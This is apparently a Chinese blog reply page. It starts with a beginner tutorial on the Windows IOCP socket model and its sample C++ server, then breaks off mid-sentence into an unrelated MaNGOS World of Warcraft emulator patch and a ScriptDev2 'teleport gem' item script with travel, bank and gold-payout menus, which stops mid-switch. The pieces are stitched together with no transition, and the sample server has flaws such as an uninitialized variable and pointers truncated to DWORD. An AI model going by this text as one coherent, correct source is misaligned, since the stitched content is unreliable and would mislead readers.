re: 完成端口模型代码 聂文龙 2007-09-24 22:02
众所皆知,完成端口是在WINDOWS平台下效率最高,扩展性最好的IO模型,特别针对于WINSOCK的海量连接时,更能显示出其威力。其实建立一个完成端口的服务器也很简单,只要注意几个函数,了解一下关键的步骤也就行了。
这是篇完成端口入门级的文章,分为以下几步来说明完成端口:
函数
常见问题以及解答
步骤
例程
1、函数:
我们在完成端口模型下会使用到的最重要的两个函数是:
CreateIoCompletionPort、GetQueuedCompletionStatus
CreateIoCompletionPort 的作用是创建一个完成端口和把一个IO句柄和完成端口关联起来:
// 创建完成端口
HANDLE CompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
// 把一个IO句柄和完成端口关联起来,这里的句柄是一个socket 句柄
CreateIoCompletionPort((HANDLE)sClient, CompletionPort, (DWORD)PerHandleData, 0);
其中第一个参数是句柄,可以是文件句柄、SOCKET句柄。
第二个就是我们上面创建出来的完成端口,这里就把两个东西关联在一起了。
第三个参数很关键,叫做PerHandleData,就是对应于每个句柄的数据块。我们可以使用这个参数在后面取到与这个SOCKET对应的数据。
最后一个参数给0,意思就是根据CPU的个数,允许尽可能多的线程并发执行。
GetQueuedCompletionStatus 的作用就是取得完成端口的结果:
// 从完成端口中取得结果
GetQueuedCompletionStatus(CompletionPort, &BytesTransferred, (LPDWORD)&PerHandleData, (LPOVERLAPPED*)&PerIoData, INFINITE)
第一个参数是完成端口
第二个参数是表明这次的操作传递了多少个字节的数据
第三个参数是OUT类型的参数,就是前面CreateIoCompletionPort传进去的单句柄数据,这里就是前面的SOCKET句柄以及与之相对应的数据,这里操作系统给我们返回,让我们不用自己去做列表查询等操作了。
第四个参数就是进行IO操作的结果,是我们在投递 WSARecv / WSASend 等操作时传递进去的,这里操作系统做好准备后,给我们返回了。非常省事!!
个人感觉完成端口就是操作系统为我们包装了很多重叠IO的不爽的地方,让我们可以更方便的去使用,下篇我将会尝试去讲述完成端口的原理。
2、常见问题和解答
a、什么是单句柄数据(PerHandle)和单IO数据(PerIO)
单句柄数据就是和句柄对应的数据,像socket句柄,文件句柄这种东西。
单IO数据,就是对应于每次的IO操作的数据。例如每次的WSARecv/WSASend等等
其实我觉得PER是每次的意思,翻译成每个句柄数据和每次IO数据还比较清晰一点。
在完成端口中,单句柄数据直接通过GetQueuedCompletionStatus 返回,省去了我们自己做容器去管理。单IO数据也容许我们自己扩展OVERLAPPED结构,所以,在这里所有与应用逻辑有关的东西都可以在此扩展。
b、如何判断客户端的断开
我们要处理几种情况
1) 如果客户端调用了closesocket,我们就可以这样判断他的断开:
if(0 == GetQueuedCompletionStatus(CompletionPort, &BytesTransferred, 。。。)
{
}
if(BytesTransferred == 0)
{
// 客户端断开,释放资源
}
2) 如果是客户端直接退出,那就会出现64错误,指定的网络名不可再用。这种情况我们也要处理的:
if(0 == GetQueuedCompletionStatus(。。。))
{
if( (GetLastError() == WAIT_TIMEOUT) || (GetLastError() == ERROR_NETNAME_DELETED) )
{
// 客户端断开,释放资源
}
}
3、步骤
编写完成端口服务程序,无非就是以下几个步骤:
1、创建一个完成端口
2、根据CPU个数创建工作者线程,把完成端口传进去线程里
3、创建侦听SOCKET,把SOCKET和完成端口关联起来
4、创建PerIOData,向连接进来的SOCKET投递WSARecv操作
5、线程里所做的事情:
a、GetQueuedCompletionStatus,在退出的时候就可以使用PostQueudCompletionStatus使线程退出
b、取得数据并处理
4、例程
下面是服务端的例程,可以使用《WinSocket模型的探讨——Overlapped模型(一)》中的客户端程序来测试次服务端。稍微研究一下,也就会对完成端口模型有个大概的了解了。
/*
完成端口服务器
接收到客户端的信息,直接显示出来
*/
#include "winerror.h"
#include "Winsock2.h"
#pragma comment(lib, "ws2_32")
#include "windows.h"
#include <iostream>
using namespace std;
/// 宏定义
#define PORT 5050
#define DATA_BUFSIZE 8192
#define OutErr(a) cout << (a) << endl \
<< "出错代码:" << WSAGetLastError() << endl \
<< "出错文件:" << __FILE__ << endl \
<< "出错行数:" << __LINE__ << endl \
#define OutMsg(a) cout << (a) << endl;
/// 全局函数定义
///////////////////////////////////////////////////////////////////////
//
// 函数名 : InitWinsock
// 功能描述 : 初始化WINSOCK
// 返回值 : void
//
///////////////////////////////////////////////////////////////////////
void InitWinsock()
{
// 初始化WINSOCK
WSADATA wsd;
if( WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
{
OutErr("WSAStartup()");
}
}
///////////////////////////////////////////////////////////////////////
//
// 函数名 : BindServerOverlapped
// 功能描述 : 绑定端口,并返回一个 Overlapped 的Listen Socket
// 参数 : int nPort
// 返回值 : SOCKET
//
///////////////////////////////////////////////////////////////////////
SOCKET BindServerOverlapped(int nPort)
{
// 创建socket
SOCKET sServer = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);
// 绑定端口
struct sockaddr_in servAddr;
servAddr.sin_family = AF_INET;
servAddr.sin_port = htons(nPort);
servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(sServer, (struct sockaddr *)&servAddr, sizeof(servAddr)) < 0)
{
OutErr("bind Failed!");
return NULL;
}
// 设置监听队列为200
if(listen(sServer, 200) != 0)
{
OutErr("listen Failed!");
return NULL;
}
return sServer;
}
/// 结构体定义
typedef struct
{
OVERLAPPED Overlapped;
WSABUF DataBuf;
CHAR Buffer[DATA_BUFSIZE];
} PER_IO_OPERATION_DATA, * LPPER_IO_OPERATION_DATA;
typedef struct
{
SOCKET Socket;
} PER_HANDLE_DATA, * LPPER_HANDLE_DATA;
DWORD WINAPI ProcessIO(LPVOID lpParam)
{
HANDLE CompletionPort = (HANDLE)lpParam;
DWORD BytesTransferred;
LPPER_HANDLE_DATA PerHandleData;
LPPER_IO_OPERATION_DATA PerIoData;
while(true)
{
if(0 == GetQueuedCompletionStatus(CompletionPort, &BytesTransferred, (LPDWORD)&PerHandleData, (LPOVERLAPPED*)&PerIoData, INFINITE))
{
if( (GetLastError() == WAIT_TIMEOUT) || (GetLastError() == ERROR_NETNAME_DELETED) )
{
cout << "closing socket" << PerHandleData->Socket << endl;
closesocket(PerHandleData->Socket);
delete PerIoData;
delete PerHandleData;
continue;
}
else
{
OutErr("GetQueuedCompletionStatus failed!");
}
return 0;
}
// 说明客户端已经退出
if(BytesTransferred == 0)
{
cout << "closing socket" << PerHandleData->Socket << endl;
closesocket(PerHandleData->Socket);
delete PerIoData;
delete PerHandleData;
continue;
}
// 取得数据并处理
cout << PerHandleData->Socket << "发送过来的消息:" << PerIoData->Buffer << endl;
// 继续向 socket 投递WSARecv操作
DWORD Flags = 0;
DWORD dwRecv = 0;
ZeroMemory(PerIoData, sizeof(PER_IO_OPERATION_DATA));
PerIoData->DataBuf.buf = PerIoData->Buffer;
PerIoData->DataBuf.len = DATA_BUFSIZE;
WSARecv(PerHandleData->Socket, &PerIoData->DataBuf, 1, &dwRecv, &Flags, &PerIoData->Overlapped, NULL);
}
return 0;
}
void main()
{
InitWinsock();
HANDLE CompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
// 根据系统的CPU来创建工作者线程
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);
for(int i = 0; i < SystemInfo.dwNumberOfProcessors * 2; i++)
{
HANDLE hProcessIO = CreateThread(NULL, 0, ProcessIO, CompletionPort, 0, NULL);
if(hProcessIO)
{
CloseHandle(hProcessIO);
}
}
// 创建侦听SOCKET
SOCKET sListen = BindServerOverlapped(PORT);
SOCKET sClient;
LPPER_HANDLE_DATA PerHandleData;
LPPER_IO_OPERATION_DATA PerIoData;
while(true)
{
// 等待客户端接入
//sClient = WSAAccept(sListen, NULL, NULL, NULL, 0);
sClient = accept(sListen, 0, 0);
cout << "Socket " << sClient << "连接进来" << endl;
PerHandleData = new PER_HANDLE_DATA();
PerHandleData->Socket = sClient;
// 将接入的客户端和完成端口联系起来
CreateIoCompletionPort((HANDLE)sClient, CompletionPort, (DWORD)PerHandleData, 0);
// 建立一个Overlapped,并使用这个Overlapped结构对socket投递操作
PerIoData = new PER_IO_OPERATION_DATA();
ZeroMemory(PerIoData, sizeof(PER_IO_OPERATION_DATA));
PerIoData->DataBuf.buf = PerIoData->Buffer;
PerIoData->DataBuf.len = DATA_BUFSIZE;
// 投递一个WSARecv操作
DWORD Flags = 0;
DWORD dwRecv = 0;
WSARecv(sClient, &PerIoData->DataBuf, 1, &dwRecv, &Flags, &PerIoData->Overlapped, NULL);
}
DWORD dwByteTrans;
PostQueuedCompletionStatus(CompletionPort, dwByteTrans, 0, 0);
closesocket(sListen);
}
好了,本篇文章就到此为止,
Index: ItemHandler.cpp
===================================================================
--- ItemHandler.cpp (revision 3602)
+++ ItemHandler.cpp (working copy)
@@ -28,6 +28,7 @@
#include "Item.h"
#include "UpdateData.h"
#include "ObjectAccessor.h"
+#include "ScriptCalls.h"
void WorldSession::HandleSplitItemOpcode( WorldPacket & recv_data )
{
@@ -364,19 +365,22 @@
if( pItem && pItem->GetProto()->PageText )
{
uint8 msg = _player->CanUseItem( pItem );
- if( msg == EQUIP_ERR_OK )
+ if(!Script->ItemUse(GetPlayer(),pItem))
{
- data.Initialize (SMSG_READ_ITEM_OK, 8);
- sLog.outDetail("STORAGE: Item page sent");
+ if( msg == EQUIP_ERR_OK )
+ {
+ data.Initialize (SMSG_READ_ITEM_OK, 8);
+ sLog.outDetail("STORAGE: Item page sent");
+ }
+ else
+ {
+ data.Initialize( SMSG_READ_ITEM_FAILED, 8 );
+ sLog.outDetail("STORAGE: Unable to read item");
+ _player->SendEquipError( msg, pItem, NULL );
+ }
+ data << pItem->GetGUID();
+ SendPacket(&data);
}
- else
- {
- data.Initialize( SMSG_READ_ITEM_FAILED, 8 );
- sLog.outDetail("STORAGE: Unable to read item");
- _player->SendEquipError( msg, pItem, NULL );
- }
- data << pItem->GetGUID();
- SendPacket(&data);
}
else
_player->SendEquipError( EQUIP_ERR_ITEM_NOT_FOUND, NULL, NULL );
Index: NPCHandler.cpp
===================================================================
--- NPCHandler.cpp (revision 3602)
+++ NPCHandler.cpp (working copy)
@@ -33,6 +33,7 @@
#include "MapManager.h"
#include "Pet.h"
#include "WaypointMovementGenerator.h"
+#include "Item.h"
void WorldSession::HandleTabardVendorActivateOpcode( WorldPacket & recv_data )
{
@@ -343,7 +344,16 @@
// fix for spirit healers (temp?)
Creature *temp = ObjectAccessor::Instance().GetCreature(*_player, guid);
if (!temp)
+ {
+ uint16 pos = _player->GetPosByGuid(guid);
+ Item *pItem = _player->GetItemByPos( pos );
+
+ if (!Script->GossipSelectItem( _player, pItem, _player->PlayerTalkClass->GossipOptionSender( option ), _player->PlayerTalkClass->GossipOptionAction( option )))
+ {
+ sLog.outDebug( "WORLD: HandleGossipSelectOptionOpcode - Interact with item (GUID: %u) failed.", uint32(GUID_LOPART(guid)) );
+ }
return;
+ }
uint32 npcflags = UNIT_NPC_FLAG_NONE;
if(temp->isSpiritHealer())
Index: ScriptCalls.cpp
===================================================================
--- ScriptCalls.cpp (revision 3602)
+++ ScriptCalls.cpp (working copy)
@@ -49,6 +49,7 @@
||!(testScript->QuestAccept =(scriptCallQuestAccept )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"QuestAccept" ))
||!(testScript->GossipSelect =(scriptCallGossipSelect )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GossipSelect" ))
||!(testScript->GossipSelectWithCode=(scriptCallGossipSelectWithCode)MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GossipSelectWithCode"))
+ ||!(testScript->GossipSelectItem =(scriptCallGossipSelectItem )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GossipSelectItem" ))
||!(testScript->QuestSelect =(scriptCallQuestSelect )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"QuestSelect" ))
||!(testScript->QuestComplete =(scriptCallQuestComplete )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"QuestComplete" ))
||!(testScript->NPCDialogStatus =(scriptCallNPCDialogStatus )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"NPCDialogStatus" ))
@@ -60,6 +61,7 @@
||!(testScript->GOQuestAccept =(scriptCallGOQuestAccept )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GOQuestAccept" ))
||!(testScript->ReceiveEmote =(scriptCallReceiveEmote )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"ReceiveEmote" ))
||!(testScript->GetAI =(scriptCallGetAI )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"GetAI" ))
+ ||!(testScript->ItemUse =(scriptCallItemUse )MANGOS_GET_PROC_ADDR(testScript->hScriptsLib,"ItemUse" ))
)
{
MANGOS_CLOSE_LIBRARY(testScript->hScriptsLib);
Index: ScriptCalls.h
===================================================================
--- ScriptCalls.h (revision 3602)
+++ ScriptCalls.h (working copy)
@@ -30,6 +30,7 @@
typedef bool(MANGOS_IMPORT * scriptCallGossipHello) (Player *player, Creature *_Creature );
typedef bool(MANGOS_IMPORT * scriptCallQuestAccept) (Player *player, Creature *_Creature, Quest *);
typedef bool(MANGOS_IMPORT * scriptCallGossipSelect)(Player *player, Creature *_Creature, uint32 sender, uint32 action);
+typedef bool(MANGOS_IMPORT * scriptCallGossipSelectItem)(Player *player, Item *_Item, uint32 sender, uint32 action);
typedef bool(MANGOS_IMPORT * scriptCallGossipSelectWithCode)( Player *player, Creature *_Creature, uint32 sender, uint64 action, char* sCode );
typedef bool(MANGOS_IMPORT * scriptCallQuestSelect)( Player *player, Creature *_Creature, Quest * );
typedef bool(MANGOS_IMPORT * scriptCallQuestComplete)(Player *player, Creature *_Creature, Quest *);
@@ -43,6 +44,7 @@
typedef bool(MANGOS_IMPORT * scriptCallGOChooseReward)(Player *player, GameObject *, Quest *, uint32 opt );
typedef bool(MANGOS_IMPORT * scriptCallReceiveEmote) ( Player *player, Creature *_Creature, uint32 emote );
typedef CreatureAI* (MANGOS_IMPORT * scriptCallGetAI) ( Creature *_Creature );
+typedef bool(MANGOS_IMPORT * scriptCallItemUse)(Player *player, Item* _Item);
typedef struct
{
@@ -53,6 +55,7 @@
scriptCallGOChooseReward GOChooseReward;
scriptCallQuestAccept QuestAccept;
scriptCallGossipSelect GossipSelect;
+ scriptCallGossipSelectItem GossipSelectItem;
scriptCallGossipSelectWithCode GossipSelectWithCode;
scriptCallQuestSelect QuestSelect;
scriptCallQuestComplete QuestComplete;
@@ -65,6 +68,7 @@
scriptCallGOQuestAccept GOQuestAccept;
scriptCallReceiveEmote ReceiveEmote;
scriptCallGetAI GetAI;
+ scriptCallItemUse ItemUse;
MANGOS_LIBRARY_HANDLE hScriptsLib;
}_ScriptSet,*ScriptsSet;
Index: ScriptMgr.cpp
===================================================================
--- ScriptMgr.cpp (revision 40)
+++ ScriptMgr.cpp (working copy)
@@ -467,6 +473,19 @@
}
MANGOS_DLL_EXPORT
+bool GossipSelectItem( Player *player, Item *_Item,uint32 sender, uint32 action )
+{
+ Script *tmpscript = NULL;
+
+ player->PlayerTalkClass->ClearMenus();
+ tmpscript = GetScriptByName(_Item->GetProto()->ScriptName);
+ if(!tmpscript || !tmpscript->pGossipSelectItem) return false;
+
+
+ return tmpscript->pGossipSelectItem(player,_Item,sender,action);
+}
+
+MANGOS_DLL_EXPORT
bool QuestAccept( Player *player, Creature *_Creature, Quest *_Quest )
{
Script *tmpscript = NULL;
@@ -615,6 +634,7 @@
tmpscript = GetScriptByName(_Item->GetProto()->ScriptName);
if(!tmpscript || !tmpscript->pItemUse) return false;
+ player->PlayerTalkClass->ClearMenus();
return tmpscript->pItemUse(player,_Item);
}
Index: ScriptMgr.h
===================================================================
--- ScriptMgr.h (revision 40)
+++ ScriptMgr.h (working copy)
@@ -35,7 +35,7 @@
struct Script
{
Script() :
- pGossipHello(NULL), pQuestAccept(NULL), pGossipSelect(NULL), pGossipSelectWithCode(NULL),
+ pGossipHello(NULL), pQuestAccept(NULL), pGossipSelect(NULL), pGossipSelectWithCode(NULL), pGossipSelectItem(NULL),
pQuestSelect(NULL), pQuestComplete(NULL), pNPCDialogStatus(NULL), pChooseReward(NULL),
pItemHello(NULL), pGOHello(NULL), pAreaTrigger(NULL), pItemQuestAccept(NULL), pGOQuestAccept(NULL),
pGOChooseReward(NULL),pReceiveEmote(NULL),pItemUse(NULL), GetAI(NULL)
@@ -48,6 +48,7 @@
bool (*pQuestAccept )(Player *player, Creature *_Creature, Quest *_Quest );
bool (*pGossipSelect )(Player *player, Creature *_Creature, uint32 sender, uint32 action );
bool (*pGossipSelectWithCode)(Player *player, Creature *_Creature, uint32 sender, uint32 action, char* sCode );
+ bool (*pGossipSelectItem )(Player *player, Item *_Item, uint32 sender, uint32 action );
bool (*pQuestSelect )(Player *player, Creature *_Creature, Quest *_Quest );
bool (*pQuestComplete )(Player *player, Creature *_Creature, Quest *_Quest );
uint32 (*pNPCDialogStatus )(Player *player, Creature *_Creature );
原始的Mangos+ScriptDev2中如何加入传送宝石的程序(整理版)-感谢以前很多的大大们把它们写出来^^
不过我一直没看到完整的教学文章,东拼西拼的终于把它弄出来了
这些Code其实在十字佣兵里发布的源码里都有,我只是把它整理出来而以^^
主要是给有兴趣的人一起研究啰^^看懂之后对传送宝石的实作会了解的更多^^
功能说明:
你会觉得在魔兽里老是要找坐标位置很麻烦吗?随身的传送宝石是一个超级方便的物品^^有了它想去那就去那再也不用找坐标打命令了!
魔兽工资领取很有趣的一个功能,这里是设定成你只要在游戏里每待60秒以上,再按一下"魔兽工资领取",人物就会领到10G@@
也包含了个人随身银行,灵魂医者复活功能
底下开始就都是要修改的程序代码了^^
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
进入src/bindings/ScriptDev2/scripts/item里:
先备份sc_item_test.cpp然后编辑它机乎全部改写了,我就直接贴Code了
====================================================================
#include "../sc_defines.h"
bool GossipHello_Item(Player *player, Item *_Item)
{
player->ADD_GOSSIP_ITEM( 3, " 世界主城传送 " , 1, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 3, " 初级副本传送 " , 1, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 3, " 中级副本传送 " , 1, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 3, " 团队副本传送 " , 1, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 3, " 野外BOSS传送 " , 1, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 3, " 三大战场传送 " , 1, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 3, " 世界风景传送 " , 1, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 3, " 开通我的飞行点 " , 6, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 3, " 我的个人银行 " , 8, GOSSIP_ACTION_INFO_DEF + 9);
player->ADD_GOSSIP_ITEM( 3, " 魔兽工资领取 " , 7, GOSSIP_ACTION_INFO_DEF + 10);
player->ADD_GOSSIP_ITEM( 3, " 灵魂医者复活 " , 12, GOSSIP_ACTION_INFO_DEF + 12);
player->SEND_GOSSIP_MENU(99990,_Item->GetGUID());
return true;
}
void SendDefaultMenu_Item(Player *player, Item *_Item, uint32 action)
{
switch(action) {
// 主城
case GOSSIP_ACTION_INFO_DEF + 1 :
player->ADD_GOSSIP_ITEM( 0, " 联盟 暴风城 " , 2, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " 联盟 铁炉堡 " , 2, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " 联盟 达纳苏斯 " , 2, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " 部落 奥格瑞玛 " , 2, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " 部落 雷霆崖 " , 2, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " 部落 幽暗城 " , 2, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " 中立 棘齿城 " , 2, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " 中立 藏宝海湾 " , 2, GOSSIP_ACTION_INFO_DEF + 8);
player->SEND_GOSSIP_MENU(99991,_Item->GetGUID());
break;
// 初级副本
case GOSSIP_ACTION_INFO_DEF + 2 :
player->ADD_GOSSIP_ITEM( 0, " •[14] 怒焰裂谷 " , 3, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " •[19] 死亡矿坑 " , 3, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " •[22] 哀嚎洞穴 " , 3, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " •[24] 影牙城堡 " , 3, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " •[26] 黑暗深渊 " , 3, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " •[27] 暴风城监狱 " , 3, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " •[31] 剃刀沼泽 " , 3, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " •[33] 诺莫瑞根 " , 3, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " •[40] 血色修道院 " , 3, GOSSIP_ACTION_INFO_DEF + 9);
player->ADD_GOSSIP_ITEM( 0, " •[42] 剃刀高地 " , 3, GOSSIP_ACTION_INFO_DEF + 10);
player->ADD_GOSSIP_ITEM( 0, " •[45] 奥达曼 " , 3, GOSSIP_ACTION_INFO_DEF + 11);
player->SEND_GOSSIP_MENU(99992,_Item->GetGUID());
break;
// 中级副本
case GOSSIP_ACTION_INFO_DEF + 3 :
player->ADD_GOSSIP_ITEM( 0, " •[46] 祖尔法拉克 " , 4, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " •[49] 马拉顿 " , 4, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " •[53] 失落的神庙 " , 4, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " •[57] 黑石深渊 " , 4, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " •[60] 通灵学院 " , 4, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " •[60] 厄运之槌 (北区) " , 4, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " •[60] 厄运之槌 (东区) " , 4, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " •[60] 厄运之槌 (西区) " , 4, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " •[60] 斯坦索姆 " , 4, GOSSIP_ACTION_INFO_DEF + 9);
player->ADD_GOSSIP_ITEM( 0, " •[60] 黑石塔 " , 4, GOSSIP_ACTION_INFO_DEF + 10);
player->SEND_GOSSIP_MENU(99993,_Item->GetGUID());
break;
// 高级副本
case GOSSIP_ACTION_INFO_DEF + 4 :
player->ADD_GOSSIP_ITEM( 0, " •[团] 溶火之心 " , 5, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " •[团] 黑石塔 " , 5, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " •[团] 祖尔格拉布 " , 5, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " •[团] 黑翼之巢 " , 5, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " •[团] 安其拉神庙 " , 5, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " •[团] 安其拉废墟 " , 5, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " •[团] 奥妮克希亚的巢穴 " , 5, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " •[团] 纳克萨玛斯 " , 5, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " •[团] 冰龙巢穴 " , 5, GOSSIP_ACTION_INFO_DEF + 9);
player->SEND_GOSSIP_MENU(99994,_Item->GetGUID());
break;
// 野外BOSS传送
case GOSSIP_ACTION_INFO_DEF + 5 :
player->ADD_GOSSIP_ITEM( 0, " 暮色森林 " , 9, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " 辛特兰 " , 9, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " 灰谷 " , 9, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " 艾萨拉 " , 9, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " 菲拉斯 " , 9, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " 诅咒之地 " , 9, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " 水晶谷 " , 9, GOSSIP_ACTION_INFO_DEF + 7);
player->SEND_GOSSIP_MENU(99995,_Item->GetGUID());
break;
// 三大战场传送
case GOSSIP_ACTION_INFO_DEF + 6 :
player->ADD_GOSSIP_ITEM( 0, " 古拉巴什竞技场 " , 10, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " 奥特兰战场 " , 10, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " 战歌峡谷 " , 10, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " 阿拉希战场 " , 10, GOSSIP_ACTION_INFO_DEF + 4);
player->SEND_GOSSIP_MENU(99996,_Item->GetGUID());
break;
// 风景传送
case GOSSIP_ACTION_INFO_DEF + 7 :
player->ADD_GOSSIP_ITEM( 0, " 海加尔山 " , 11, GOSSIP_ACTION_INFO_DEF + 1);
player->ADD_GOSSIP_ITEM( 0, " 翡翠圣地 " , 11, GOSSIP_ACTION_INFO_DEF + 2);
player->ADD_GOSSIP_ITEM( 0, " 时光之穴 " , 11, GOSSIP_ACTION_INFO_DEF + 3);
player->ADD_GOSSIP_ITEM( 0, " 黑暗之门 " , 11, GOSSIP_ACTION_INFO_DEF + 4);
player->ADD_GOSSIP_ITEM( 0, " 双塔山 " , 11, GOSSIP_ACTION_INFO_DEF + 5);
player->ADD_GOSSIP_ITEM( 0, " 梦境之树 " , 11, GOSSIP_ACTION_INFO_DEF + 6);
player->ADD_GOSSIP_ITEM( 0, " GM之岛 " , 11, GOSSIP_ACTION_INFO_DEF + 7);
player->ADD_GOSSIP_ITEM( 0, " 海加尔山 - 暴雪路障 " , 11, GOSSIP_ACTION_INFO_DEF + 8);
player->ADD_GOSSIP_ITEM( 0, " 天涯海滩 " , 11, GOSSIP_ACTION_INFO_DEF + 9);
player->ADD_GOSSIP_ITEM( 0, " 安戈洛环形山 " , 11, GOSSIP_ACTION_INFO_DEF + 10);
player->ADD_GOSSIP_ITEM( 0, " 比吉尔的飞艇残骸 " , 11, GOSSIP_ACTION_INFO_DEF + 11);
player->ADD_GOSSIP_ITEM( 0, " 石堡瀑布" , 11, GOSSIP_ACTION_INFO_DEF + 12);
player->ADD_GOSSIP_ITEM( 0, " 地铁海底" , 11, GOSSIP_ACTION_INFO_DEF + 13);
player->ADD_GOSSIP_ITEM( 0, " 工程师之岛" , 11, GOSSIP_ACTION_INFO_DEF + 14);
player->ADD_GOSSIP_ITEM( 0, " 卡拉赞" , 11, GOSSIP_ACTION_INFO_DEF + 15);
player->SEND_GOSSIP_MENU(99997,_Item->GetGUID());
break;
}
}
bool GossipSelect_Item(Player *player, Item *_Item, uint32 sender, uint32 action )
{
switch(sender) {
// 主选单
case GOSSIP_SENDER_MAIN :
SendDefaultMenu_Item(player, _Item, action);
break;
// 各大主城
case 2 :
uint32 price_city;
price_city= 10000; //city
switch(action) {
// 暴风城 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
player->TeleportTo(0,-9065,434,94,0);
break;
// 铁炉堡
case GOSSIP_ACTION_INFO_DEF + 2 :
player->TeleportTo(0,-5032,-819,495,0);
break;
// 达纳苏斯
case GOSSIP_ACTION_INFO_DEF + 3 :
player->TeleportTo(1,9961,2055,1329,0);
break;
// 奥格瑞玛
case GOSSIP_ACTION_INFO_DEF + 4 :
player->TeleportTo(1,1317,-4383,27,0);
break;
// 雷霆崖
case GOSSIP_ACTION_INFO_DEF + 5 :
player->TeleportTo(1,-1391,140,23,0);
break;
// 幽暗城
case GOSSIP_ACTION_INFO_DEF + 6 :
player->TeleportTo(0,1909,235,53,0);
break;
// 棘齿城
case GOSSIP_ACTION_INFO_DEF + 7 :
player->TeleportTo(1,-977,-3788,6,0);
break;
// 藏宝海湾
case GOSSIP_ACTION_INFO_DEF + 8 :
player->TeleportTo(0,-14302,518,9,0);
break;
}
break;
// 初级副本
case 3:
switch(action) {
// •[14] 怒焰裂谷 统一格式说明:(MapID, X, Y, Z, 0);
case GOSSIP_ACTION_INFO_DEF + 1 :
